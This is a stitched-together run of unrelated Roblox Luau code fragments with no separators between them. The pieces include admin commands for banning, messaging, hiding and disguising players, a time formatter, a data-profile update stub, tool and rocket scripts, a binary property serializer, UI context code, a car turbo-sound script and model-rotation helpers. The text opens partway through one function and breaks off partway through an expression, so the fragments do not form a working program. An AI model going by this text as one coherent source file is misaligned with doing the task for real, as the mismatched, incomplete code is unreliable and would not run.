v.UserId), reason ) pcall(function() v:Kick(reason) end) Remote.MakeGui(plr, "Notification", { Title = "Notification"; Icon = server.MatIcons.Gavel; Message = `Trello-banned {service.FormatPlayer(v, true)}`; Time = 5; }) end end HTTP.Trello.Update() end; }; CustomMessage = { Prefix = Settings.Prefix; Commands = {"cm", "custommessage"}; Args = {"Upper message", "message"}; Filter = true; Description = "Same as message but says whatever you want upper message to be instead of your name."; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message title (argument #1)") assert(args[2], "Missing message (argument #2)") for _, v in service.Players:GetPlayers() do Remote.RemoveGui(v, "Message") Remote.MakeGui(v, "Message", { Title = args[1]; Message = args[2]; Time = (#tostring(args[1]) / 19) + 2.5; --service.Filter(args[1],plr, v); }) end end }; Nil = { Prefix = Settings.Prefix; Commands = {"nil"}; Args = {"player"}; Hidden = true; Description = "Sends the target player(s) to nil, where they will not show up on the player list and not normally be able to interact with the game"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do v.Character = nil v.Parent = nil Functions.Hint(`Sent {service.FormatPlayer(v)} to nil`, {plr}) end end }; PromptPremiumPurchase = { Prefix = Settings.Prefix; Commands = {"promptpremiumpurchase", "premiumpurchaseprompt"}; Args = {"player"}; Description = "Opens the Roblox Premium purchase prompt for the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do service.MarketplaceService:PromptPremiumPurchase(v) end end }; RobloxNotify = { Prefix = Settings.Prefix; Commands = {"rbxnotify", "robloxnotify", "robloxnotif", "rblxnotify", "rnotif", "rn"}; Args = {"player", "duration (seconds)", "text"}; Filter = true; Description = "Sends a Roblox-styled notification for the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do Remote.Send(v, "Function", "SetCore", "SendNotification", { Title = "Notification"; Text = args[3] or "Hello, from Adonis!"; Duration = tonumber(args[2]) or 5; }) end end }; Disguise = { Prefix = Settings.Prefix; Commands = {"disguise", "masquerade"}; Args = {"player", "username"}; Description = "Names the player, chars the player, and modifies the player's chat tag"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[2], "Argument missing or nil") local userId = Functions.GetUserIdFromNameAsync(args[2]) assert(userId, "Invalid username supplied/user not found") local username = select(2, xpcall(function() return service.Players:GetNameFromUserIdAsync(userId) end, function() return args[2] end)) if service.Players:GetPlayerByUserId(userId) then error("You cannot disguise as this player (currently in server)") end Commands.Char.Function(plr, args) Commands.DisplayName.Function(plr, {args[1], username}) local ChatService = Functions.GetChatService() for _, v in service.GetPlayers(plr, args[1]) do if Variables.DisguiseBindings[v.UserId] then Variables.DisguiseBindings[v.UserId].Rename:Disconnect() Variables.DisguiseBindings[v.UserId].Rename = nil if ChatService then ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername) ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`) end end Variables.DisguiseBindings[v.UserId] = { TargetUsername = username; Rename = v.CharacterAppearanceLoaded:Connect(function(char) Commands.DisplayName.Function(v, {v.Name, username}) end); } if ChatService then local disguiseSpeaker = ChatService:AddSpeaker(username) disguiseSpeaker:JoinChannel("All") ChatService:RegisterProcessCommandsFunction(`Disguise_{v.Name}`, function(speaker, message, channelName) if speaker == v.Name then local filteredMessage = select(2, xpcall(function() return service.TextService:FilterStringAsync(message, v.UserId, Enum.TextFilterContext.PrivateChat):GetChatForUserAsync(v.UserId) end, function() Remote.Send(v, "Function", "ChatMessage", "A message filtering error occurred.", Color3.new(1, 64/255, 77/255)) return end)) if filteredMessage and not server.Admin.DoHideChatCmd(v, message) then disguiseSpeaker:SayMessage(filteredMessage, channelName) if v.Character then service.Chat:Chat(v.Character, filteredMessage, Enum.ChatColor.White) end end return true end return false end) end end end }; UnDisguise = { Prefix = Settings.Prefix; Commands = {"undisguise", "removedisguise", "cleardisguise", "nodisguise"}; Args = {"player"}; Description = "Removes the player's disguise"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local ChatService = Functions.GetChatService() for _, v in service.GetPlayers(plr, args[1]) do if Variables.DisguiseBindings[v.UserId] then Variables.DisguiseBindings[v.UserId].Rename:Disconnect() Variables.DisguiseBindings[v.UserId].Rename = nil pcall(function() ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername) ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`) end) end Variables.DisguiseBindings[v.UserId] = nil end Commands.UnChar.Function(plr, args) Commands.UnDisplayName.Function(plr, args) end }; IncognitoPlayerList = { Prefix = Settings.Prefix; Commands = {"incognitolist", "incognitoplayers"}; Args = {"autoupdate? (default: true)"}; Description = "Displays a list of incognito players in the server"; AdminLevel = "Admins"; Hidden = true; ListUpdater = function(plr: Player) local tab = {} for p: Player, t: number in Variables.IncognitoPlayers do if p.Parent == service.Players then table.insert(tab, { Text = service.FormatPlayer(p); Desc = string.format("ID: %d | Went incognito at: %s", p.UserId, service.FormatTime(t)); }) end end return tab end; Function = function(plr: Player, args: {string}) local autoUpdate = string.lower(args[1]) Remote.RemoveGui(plr, "IncognitoPlayerList") Remote.MakeGui(plr, "List", { Name = "IncognitoPlayerList"; Title = "Incognito Players"; Icon = server.MatIcons["Admin panel settings"]; Tab = Logs.ListUpdaters.IncognitoPlayerList(plr); Update = "IncognitoPlayerList"; AutoUpdate = if not args[1] or (autoUpdate == "true" or autoUpdate == "yes") then 1 else nil; }) end }; } end
-- ROBLOX deviation END
local function formatTime(time: number, prefixPower_: number?, padLeftLength_: number?): string local prefixPower = prefixPower_ or -3 local padLeftLength = padLeftLength_ or 0 local prefixes = { "n", "μ", "m", "" } local prefixIndex = math.max(0, math.min(mathTrunc(prefixPower / 3) + #prefixes - 1, #prefixes - 1)) + 1 return ("%s %ss"):format(stringPadStart(tostring(time), padLeftLength), prefixes[prefixIndex]) end exports.default = formatTime return exports
-- GlobalUpdates object:
local GlobalUpdates = { --[[ _updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}} _pending_update_lock = {update_id, ...} / nil, -- [table / nil] _pending_update_clear = {update_id, ...} / nil, -- [table / nil] _new_active_update_listeners = {listener, ...} / nil, -- [table / nil] _new_locked_update_listeners = {listener, ...} / nil, -- [table / nil] _profile = Profile / nil, -- [Profile / nil] _update_handler_mode = true / nil, -- [bool / nil] --]] } GlobalUpdates.__index = GlobalUpdates
--Made by Stickmasterluke
sp=script.Parent function waitfor(a,b) while a:FindFirstChild(b)==nil do a.ChildAdded:wait() end return a:FindFirstChild(b) end speedboostscript=waitfor(sp,"SpeedBoostScript") function Equipped() if sp.Parent:FindFirstChild("SpeedBoostScript")==nil then local s=speedboostscript:clone() local tooltag=Instance.new("ObjectValue") tooltag.Name="ToolTag" tooltag.Value=sp tooltag.Parent=s s.Parent=sp.Parent s.Disabled=false local sound=sp.Handle:FindFirstChild("CoilSound") if sound~=nil then sound:Play() end end end sp.Equipped:connect(Equipped)
--Make the "Handle" of the gear "Porta-Boy 3000" play a sound for 3 seconds when is close 1 meters away to "Star" object wihout touching it
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent.Parent.Parent._Index local Package = require(PackageIndex["ChalkLua"]["ChalkLua"]) return Package
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Homing Bone" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- local rocketScriptClone = RocketScript:Clone() -- rocketScriptClone.Parent = Rocket -- rocketScriptClone.Disabled = false
end fireEvent.OnServerEvent:connect(function(player, target) if canFire and player.Character == tool.Parent then canFire = false -- Create a clone of Rocket and set its color local rocketClone = Rocket:Clone() --game.Debris:AddItem(rocketClone, 30) rocketClone.BrickColor = player.TeamColor rocketClone.Touched:connect(function(hit) if hit and hit.Parent and hit.Parent ~= player.Character and hit.Parent ~= tool then local explosion = Instance.new("Explosion", game.Workspace) explosion.Position = rocketClone.Position rocketClone:Destroy() end end) spawn(function() wait(30) if rocketClone then rocketClone:Destroy() end end) -- Position the rocket clone and launch! local spawnPosition = (tool.Handle.CFrame * CFrame.new(2, 0, 0)).p rocketClone.CFrame = CFrame.new(spawnPosition, target) --NOTE: This must be done before assigning Parent rocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent rocketClone.Parent = game.Workspace -- Attach creator tags to the rocket early on local creatorTag = Instance.new('ObjectValue', rocketClone) creatorTag.Value = player creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats local iconTag = Instance.new('StringValue', creatorTag) iconTag.Value = tool.TextureId iconTag.Name = 'icon' delay(attackCooldown, function() canFire = true end) end end)
--Get initial waypoint for non-humanoid
local function getNonHumanoidWaypoint(self) --Account for multiple waypoints that are sometimes in the same place for i = 2, #self._waypoints do if (self._waypoints[i].Position - self._waypoints[i - 1].Position).Magnitude > 0.1 then return i end end return 2 end
--[[ StreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, maid: Maid) -> void): Maid Example: local streamable1 = Streamable.new(someModel, "SomeChild") local streamable2 = Streamable.new(anotherModel, "AnotherChild") StreamableUtil.Compound({S1 = streamable1, S2 = streamable2}, function(streamables, maid) local someChild = streamables.S1.Instance local anotherChild = streamables.S2.Instance maid:GiveTask(function() -- Cleanup end) end) --]]
local Maid = require(script.Parent.Maid) local StreamableUtil = {} function StreamableUtil.Compound(streamables, handler) local compoundMaid = Maid.new() local observeAllMaid = Maid.new() local allAvailable = false local function Check() if (allAvailable) then return end for _,streamable in pairs(streamables) do if (not streamable.Instance) then return end end allAvailable = true handler(streamables, observeAllMaid) end local function Cleanup() if (not allAvailable) then return end allAvailable = false observeAllMaid:DoCleaning() end for _,streamable in pairs(streamables) do compoundMaid:GiveTask(streamable:Observe(function(_child, maid) Check() maid:GiveTask(function() Cleanup() end) end)) end compoundMaid:GiveTask(Cleanup) return compoundMaid end return StreamableUtil
-- If there is only one item, any HP above that will be set to that color.
local SPECIAL_BALL_COLORS = { Tank = { [6] = Color3.fromRGB(135, 133, 146); }, Summoner = { [1] = Color3.fromRGB(216, 144, 144); } } local BallColors = {} function BallColors.Get(BallObject: Part) local HitPoints = math.ceil(BallObject:GetAttribute("HitPoints")) local Type = BallObject:GetAttribute("Type") if (Type and SPECIAL_BALL_COLORS[Type]) then local SpecialColors = SPECIAL_BALL_COLORS[Type] if (HitPoints >= next(SpecialColors)) then if (next(SpecialColors, next(SpecialColors)) == nil) then local _, Color = next(SpecialColors) return Color else for Threshold, Color in pairs(SpecialColors) do if (HitPoints <= Threshold) then return Color end end end end end for Threshold, Color in pairs(DEFAULT_BALL_COLORS) do if (HitPoints == Threshold) then return Color end end end function BallColors.Fade(Color: Color3, Hits: number) return Color:Lerp(Color3.new(0, 0, 0), Hits / 7.5) end return BallColors
--[[ Creates a Symbol with the given name. When printed or coerced to a string, the symbol will turn into the string given as its name. ]]
function Symbol.named(name) assert(type(name) == "string", "Symbols must be created using a string name!") local self = newproxy(true) local wrappedName = ("Symbol(%s)"):format(name) getmetatable(self).__tostring = function() return wrappedName end return self end return Symbol
--[[ Calls await and only returns if the Promise resolves. Throws if the Promise rejects or gets cancelled. ]]
function Promise.prototype:expect() return expectHelper(self:awaitStatus()) end
--[[if player.Character:FindFirstChild('WhiteButterfly') == nil then script.Parent.Parent.Parent.Parent.ItemFrame.Visible = false end]]
-- Kept this cacheing for backwards compatability.
local EnumStorage = {} local cache = function(storage,enum) local Table = {} for _,v in ipairs(enum:GetEnumItems()) do Table[v.Value] = v end storage[enum] = Table end for i,enum in ipairs(Enum:GetEnums()) do cache(EnumStorage,enum) end return { -- Comment for other developers who want to make their own serizliers! -- This is stupid complicated, alot of contextual information is used to make this work -- Instance -> Propertyname -> Class -> Class.Name | SubEnum -> EnumValue -- or Instance|[PropertyName->ClassName(APIInstance[PropertyName].Class)][Value] (as little as 5bytes!) -- Irregular Conversion ! < More Context > , certain value are contextual such as SubEnum[PropertyName/Class] --ENCODE: Store EnumValue, SubEnum is contextual. --DECODE: Index = Enum[SubEnum] | EnumStorage [ Index ] [ EnumValue ] - > Enum[SubEnum][EnumValue] ["EnumItem"] = function(isClass,API,SubEnum,EnumValue) if isClass then return string.pack("I2",EnumValue.Value) else return EnumStorage[Enum[SubEnum]][string.unpack("I2",EnumValue)] end end, -- Normal Conversion ["ColorSequence"] = function(isClass,ColorSequenceValue) if isClass then local encodeStr = "" local blockSize = string.packsize("f I1 I1 I1") for i,v in ipairs(ColorSequenceValue.Keypoints) do local ColorKeypoint = v local C3 = ColorKeypoint.Value local r, g, b = math.floor(C3.R*255), math.floor(C3.G*255), math.floor(C3.B*255) local block = string.pack("f I1 I1 I1",ColorKeypoint.Time,r,g,b) -- further optimizations are possible to store encodeStr=encodeStr..block end return encodeStr else local array = {} local blockSize = string.packsize("f I1 I1 I1") for i=1,#ColorSequenceValue,blockSize do local block = ColorSequenceValue:sub(i,i+blockSize) local Time , r,g,b = string.unpack("f I1 I1 I1",block) table.insert(array,ColorSequenceKeypoint.new(Time,Color3.new(r/255,g/255,b/255))) end return ColorSequence.new(array) end end, ["ColorSequenceKeypoint"] = function(isClass,ColorKeypoint) if isClass then local C3 = ColorKeypoint.Value local r, g, b = math.floor(C3.R*255), math.floor(C3.G*255), math.floor(C3.B*255) return string.pack("f I1 I1 I1",ColorKeypoint.Time,r,g,b) -- further optimizations are possible to store else local Time , r,g,b = string.unpack("f I1 I1 I1",ColorKeypoint) return ColorSequenceKeypoint.new(Time,Color3.new(r/255,g/255,b/255)) end end, ["NumberSequence"] = function(isClass,NumberSequenceValue) if isClass then -- Basic binary array local encodeStr = "" local nativeFloatSize = getNativeSize(nil) local blockSize = nativeFloatSize*3 for i,v in ipairs(NumberSequenceValue.Keypoints) do local block = deflate(nil,v.Time,v.Value,v.Envelope) encodeStr = encodeStr..block end return encodeStr else local array = {} local nativeFloatSize = getNativeSize(nil) local blockSize = nativeFloatSize*3 for i=1,#NumberSequenceValue,blockSize do local block = NumberSequenceValue:sub(i,i+blockSize) local a,b,c = flate(nil,block,3) table.insert(array,NumberSequenceKeypoint.new(a,b,c)) end --warn(array) return NumberSequence.new(array) end end, ["NumberSequenceKeypoint"] = function(isClass,NumberKeypoint) if isClass then return deflate(nil,NumberKeypoint.Time,NumberKeypoint.Value,NumberKeypoint.Envelope) else local a,b,c = flate(nil,NumberKeypoint,3) return NumberSequenceKeypoint.new(a,b,c) end end, ["Rect"] = function(isClass,RectValue) if isClass then return deflate(nil,RectValue.Min.X,RectValue.Min.Y,RectValue.Max.X,RectValue.Max.Y) else local a,b,c,d = flate(nil,RectValue,4) return Rect.new(a,b,c,d) end end, ["Ray"] = function(isClass,RayValue) if isClass then return deflate(nil,RayValue.Orgin.X,RayValue.Orgin.Y,RayValue.Orgin.Z,RayValue.Direction.X,RayValue.Direction.Y,RayValue.Direction.Z) else local x,y,z,x1,y1,z1 = flate(nil,RayValue,6) return Ray.new(Vector3.new(x,y,z,x1,y1,z1)) end end, ["PhysicalProperties"] = function(isClass,PhysicalPropertiesValue) if isClass then return deflate(nil,PhysicalPropertiesValue.Density,PhysicalPropertiesValue.Friction,PhysicalPropertiesValue.Elasticity, PhysicalPropertiesValue.FrictionWeight,PhysicalPropertiesValue.ElasticityWeight) else local a,b,c,d,e = flate(nil,PhysicalPropertiesValue,5) return PhysicalProperties.new(a,b,c,d,e) end end, ["NumberRange"] = function(isClass,NumberRangeValue) if isClass then return deflate(nil,NumberRangeValue.Min,NumberRangeValue.Max) else local a,b = flate(nil,NumberRangeValue,2) return NumberRange.new(a,b) end end, ["UDim"] = function(isClass,value) if isClass then return deflate(nil,value.Scale,value.Offset) else local a,b = flate(nil,value,2) return UDim2.new(a,b) end end, ["Color3"] = function(isClass,C3) if isClass then local r, g, b = math.round(C3.R*255), math.round(C3.G*255), math.round(C3.B*255) return deflate("I1",r,g,b) else local r1,g2,b2 = flate("I1",C3,3) local r,g,b = r1/255,g2/255,b2/255 return Color3.new(r,g,b) end end, ["UDim2"] = function(isClass,value) if isClass then return deflate(nil,value.X.Scale,value.X.Offset,value.Y.Scale,value.Y.Offset) else local a,b,c,d = flate(nil,value,4) return UDim2.new(a,b,c,d) end end, ["Vector3"] = function(isClass,vector) if isClass then if vector then return deflate(nil,vector.X,vector.Y,vector.Z) end else local X,Y,Z = flate(nil,vector,3) return Vector3.new(X,Y,Z) end end, ["Vector3int16"] = function(isClass,vector) if isClass then if vector then return deflate("i2",vector.X,vector.Y,vector.Z) end else local X,Y,Z = flate("i2",vector,3) return Vector3.new(X,Y,Z) end end, ["Vector2"] = function(isClass,vector) if isClass then if vector then return deflate(nil,vector.X,vector.Y) end else local X,Y = flate(nil,vector,2) return Vector2.new(X,Y) end end, ["Vector2int16"] = function(isClass,vector) if isClass then if vector then return deflate("i2",vector.X,vector.Y) end else local X,Y = flate("i2",vector,2) return Vector2.new(X,Y) end end, ["Content"]= function(isClass,str) return str end, ["ProtectedString"] = function(isClass,str) return str end, ["string"] = function(isClass,str) return str end, ["bool"] = function(isClass,bool) if isClass then return ({[true]="#",[false]="$"})[bool] else return ({["#"]=true,["$"]=false})[bool] end end, ["float"] = function(isCLass,float) if isCLass then return deflate("f",float) else local a = flate("f",float,1) return a end end, ["double"] = function(isCLass,float) if isCLass then return deflate("d",float) else local a = flate("d",float,1) return a end end, ["int"] = function(isCLass,float) if isCLass then return deflate("i",math.floor(float)) else local a = flate("i",float,1) return a end end, ["int64"] = function(isCLass,float) if isCLass then return deflate("i8",math.floor(float)) else local a = flate("i8",float,1) return a end end, ["SurfaceType"] = function(isClass,surfaceType) if isClass then return deflate(nil,surfaceType.Value) else local id = flate(nil,surfaceType,1) return EnumStorage[Enum.SurfaceType][id] end end, ["BrickColor"] = function(isClass,brickColor) if isClass then return deflate(nil,math.floor(brickColor.Number)) else local id = flate(nil,brickColor,1) return BrickColor.new(id) end end, ["Material"] = function(isClass,material) if isClass then return deflate(nil,material.Value) else local id = flate(nil,material,1) return EnumStorage[Enum.Material][id] end end, ["Faces"] = function(isClass,faces) if isClass then local byte = splitbyte(string.char(0)) for i,v in ipairs(table.pack(faces.Top,faces.Bottom,faces.Left,faces.Right,faces.Back,faces.Front)) do byte[i] = v end -- table.unpack removes the tuple for some reason ? return formbyte(faces) else local face = {} local newValues = splitbyte(faces) for i,v in ipairs(newValues) do if i <= 5 then face[i] = v end end return Faces.new(table.unpack(face)) end end, ["CFrame"] = function(isClass,Cframe) if isClass then return deflate(nil,Cframe:components()) else -- yeah just thank string.unpack! local a,b,c,d,e,f,g,h,i,j,k,l = flate(nil,Cframe,12) return CFrame.new(a,b,c,d,e,f,g,h,i,j,k,l) end end, ["CoordinateFrame"] = function(isClass,Cframe) if isClass then return deflate(nil,Cframe:components()) else local a,b,c,d,e,f,g,h,i,j,k,l = flate(nil,Cframe,12) return CFrame.new(a,b,c,d,e,f,g,h,i,j,k,l) end end }
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
function WeaponsSystem.onWeaponAdded(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if not weapon then WeaponsSystem.createWeaponForInstance(weaponInstance) end end function WeaponsSystem.onWeaponRemoved(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if weapon then weapon:onDestroyed() end WeaponsSystem.knownWeapons[weaponInstance] = nil end function WeaponsSystem.getRemoteEvent(name) if not WeaponsSystem.networkFolder then return end local remoteEvent = WeaponsSystem.remoteEvents[name] if IsServer then if not remoteEvent then warn("No RemoteEvent named ", name) return nil end return remoteEvent else if not remoteEvent then remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteEvent end end function WeaponsSystem.getRemoteFunction(name) if not WeaponsSystem.networkFolder then return end local remoteFunc = WeaponsSystem.remoteFunctions[name] if IsServer then if not remoteFunc then warn("No RemoteFunction named ", name) return nil end return remoteFunc else if not remoteFunc then remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteFunc end end function WeaponsSystem.setWeaponEquipped(weapon, equipped) assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.") if not weapon then return end local lastWeapon = WeaponsSystem.currentWeapon local hasWeapon = false local weaponChanged = false if lastWeapon == weapon then if not equipped then WeaponsSystem.currentWeapon = nil hasWeapon = false weaponChanged = true else weaponChanged = false end else if equipped then WeaponsSystem.currentWeapon = weapon hasWeapon = true weaponChanged = true end end if WeaponsSystem.camera then WeaponsSystem.camera:resetZoomFactor() WeaponsSystem.camera:setHasScope(false) if WeaponsSystem.currentWeapon then WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1)) WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false)) end end if WeaponsSystem.gui then WeaponsSystem.gui:setEnabled(hasWeapon)
-- создание обрамления
me = script.Parent window=script.Parent.Parent
--[=[ @param ... any @return args: table Deserializes the arguments and returns the deserialized values in a table. ]=]
function Ser.DeserializeArgs(...: any): Args local args = table.pack(...) for i,arg in ipairs(args) do if type(arg) == "table" then local ser = Ser.Classes[arg.ClassName] if ser then args[i] = ser.Deserialize(arg) end end end return args end
--[[ ___ _______ _ _______ / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / / /_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/ SecondLogic @ Inspare Avxnturador @ Novena ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local BOVact = 0 local BOVact2 = 0 local BOV_Loudness = 3 --volume of the BOV (not exact volume so you kinda have to experiment with it) local BOV_Pitch = 1 --max pitch of the BOV (not exact so might have to mess with it) local TurboLoudness = 2 --volume of the Turbo (not exact volume so you kinda have to experiment with it also) script:WaitForChild("Whistle") script:WaitForChild("BOV") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end end end) handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true) handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true) handler:FireServer("playSound","Whistle") car.DriveSeat:WaitForChild("Whistle") car.DriveSeat:WaitForChild("BOV") local ticc = tick() local _TCount = 0 if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end while wait() do local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2) BOVact = math.floor(psi*20) WP = (psi) WV = (psi/4)*TurboLoudness BP = (1-(-psi/20))*BOV_Pitch BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value)) if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end if FE then handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV) handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV) else car.DriveSeat.Whistle.Pitch = WP car.DriveSeat.Whistle.Volume = WV car.DriveSeat.BOV.Pitch = BP car.DriveSeat.BOV.Volume = BV end if (tick()-ticc) >= 0.1 then BOVact2 = math.floor(psi*20) ticc = tick() end end
--[[ Construct the value that is assigned to Roact's context storage. ]]
local function createContextEntry(currentValue) return { value = currentValue, onUpdate = createSignal(), } end local function createProvider(context) local Provider = Component:extend("Provider") function Provider:init(props) self.contextEntry = createContextEntry(props.value) self:__addContext(context.key, self.contextEntry) end function Provider:willUpdate(nextProps) -- If the provided value changed, immediately update the context entry. -- -- During this update, any components that are reachable will receive -- this updated value at the same time as any props and state updates -- that are being applied. if nextProps.value ~= self.props.value then self.contextEntry.value = nextProps.value end end function Provider:didUpdate(prevProps) -- If the provided value changed, after we've updated every reachable -- component, fire a signal to update the rest. -- -- This signal will notify all context consumers. It's expected that -- they will compare the last context value they updated with and only -- trigger an update on themselves if this value is different. -- -- This codepath will generally only update consumer components that has -- a component implementing shouldUpdate between them and the provider. if prevProps.value ~= self.props.value then self.contextEntry.onUpdate:fire(self.props.value) end end function Provider:render() return createFragment(self.props[Children]) end return Provider end local function createConsumer(context) local Consumer = Component:extend("Consumer") function Consumer.validateProps(props) if type(props.render) ~= "function" then return false, "Consumer expects a `render` function" else return true end end function Consumer:init(props) -- This value may be nil, which indicates that our consumer is not a -- descendant of a provider for this context item. self.contextEntry = self:__getContext(context.key) end function Consumer:render() -- Render using the latest available for this context item. -- -- We don't store this value in state in order to have more fine-grained -- control over our update behavior. local value if self.contextEntry ~= nil then value = self.contextEntry.value else value = context.defaultValue end return self.props.render(value) end function Consumer:didUpdate() -- Store the value that we most recently updated with. -- -- This value is compared in the contextEntry onUpdate hook below. if self.contextEntry ~= nil then self.lastValue = self.contextEntry.value end end function Consumer:didMount() if self.contextEntry ~= nil then -- When onUpdate is fired, a new value has been made available in -- this context entry, but we may have already updated in the same -- update cycle. -- -- To avoid sending a redundant update, we compare the new value -- with the last value that we updated with (set in didUpdate) and -- only update if they differ. This may happen when an update from a -- provider was blocked by an intermediate component that returned -- false from shouldUpdate. self.disconnect = self.contextEntry.onUpdate:subscribe(function(newValue) if newValue ~= self.lastValue then -- Trigger a dummy state update. self:setState({}) end end) end end function Consumer:willUnmount() if self.disconnect ~= nil then self.disconnect() end end return Consumer end local Context = {} Context.__index = Context function Context.new(defaultValue) return setmetatable({ defaultValue = defaultValue, key = Symbol.named("ContextKey"), }, Context) end function Context:__tostring() return "RoactContext" end local function createContext(defaultValue) local context = Context.new(defaultValue) return { Provider = createProvider(context), Consumer = createConsumer(context), } end return createContext
--[AUTO SIZE]--
function AutoSizeModule.Resize() local Offset = 0 for _, Ui in pairs(PluginGui:GetChildren()) do if Ui:IsA("Frame") then Offset = Offset + Ui.AbsoluteSize.Y end end if PluginGui.AbsoluteSize.Y < Offset then PluginGui.CanvasSize = UDim2.new(0,0,0, Offset) end if PluginGui.AbsoluteSize.Y > Offset then PluginGui.CanvasSize = UDim2.new(0,0,1,0) end end PluginGui.Changed:Connect(AutoSizeModule.Resize) return AutoSizeModule
-- rotates a model by yAngle radians about the global y-axis
local function rotatePartAndChildren(part, rotCF, offsetFromOrigin) -- rotate this thing, if it's a part if part:IsA("BasePart") then part.CFrame = (rotCF * (part.CFrame - offsetFromOrigin)) + offsetFromOrigin end -- recursively do the same to all children local partChildren = part:GetChildren() for c = 1, #partChildren do rotatePartAndChildren(partChildren[c], rotCF, offsetFromOrigin) end end local function modelRotate(model, yAngle) local rotCF = CFrame.Angles(0, yAngle, 0) local offsetFromOrigin = model:GetModelCFrame().p rotatePartAndChildren(model, rotCF, offsetFromOrigin) end local function collectParts(object, baseParts, scripts, decals) if object:IsA("BasePart") then baseParts[#baseParts+1] = object elseif object:IsA("Script") then scripts[#scripts+1] = object elseif object:IsA("Decal") then decals[#decals+1] = object end for index,child in pairs(object:GetChildren()) do collectParts(child, baseParts, scripts, decals) end end local function clusterPartsInRegion(startVector, endVector) local cluster = game:GetService("Workspace"):FindFirstChild("Terrain") local startCell = cluster:WorldToCell(startVector) local endCell = cluster:WorldToCell(endVector) local startX = startCell.X local startY = startCell.Y local startZ = startCell.Z local endX = endCell.X local endY = endCell.Y local endZ = endCell.Z if startX < cluster.MaxExtents.Min.X then startX = cluster.MaxExtents.Min.X end if startY < cluster.MaxExtents.Min.Y then startY = cluster.MaxExtents.Min.Y end if startZ < cluster.MaxExtents.Min.Z then startZ = cluster.MaxExtents.Min.Z end if endX > cluster.MaxExtents.Max.X then endX = cluster.MaxExtents.Max.X end if endY > cluster.MaxExtents.Max.Y then endY = cluster.MaxExtents.Max.Y end if endZ > cluster.MaxExtents.Max.Z then endZ = cluster.MaxExtents.Max.Z end for x = startX, endX do for y = startY, endY do for z = startZ, endZ do if (cluster:GetCell(x, y, z).Value) > 0 then return true end end end end return false end local function findSeatsInModel(parent, seatTable) if not parent then return end if parent.className == "Seat" or parent.className == "VehicleSeat" then table.insert(seatTable, parent) end local myChildren = parent:GetChildren() for j = 1, #myChildren do findSeatsInModel(myChildren[j], seatTable) end end local function setSeatEnabledStatus(model, isEnabled) local seatList = {} findSeatsInModel(model, seatList) if isEnabled then -- remove any welds called "SeatWeld" in seats for i = 1, #seatList do local nextSeat = seatList[i]:FindFirstChild("SeatWeld") while nextSeat do nextSeat:Remove() nextSeat = seatList[i]:FindFirstChild("SeatWeld") end end else -- put a weld called "SeatWeld" in every seat -- this tricks it into thinking there's already someone sitting there, and it won't make you sit XD for i = 1, #seatList do local fakeWeld = Instance.new("Weld") fakeWeld.Name = "SeatWeld" fakeWeld.Parent = seatList[i] end end end local function autoAlignToFace(parts) local aatf = parts:FindFirstChild("AutoAlignToFace") if aatf then return aatf.Value else return false end end local function getClosestAlignedWorldDirection(aVector3InWorld) local xDir = Vector3.new(1,0,0) local yDir = Vector3.new(0,1,0) local zDir = Vector3.new(0,0,1) local xDot = aVector3InWorld.x * xDir.x + aVector3InWorld.y * xDir.y + 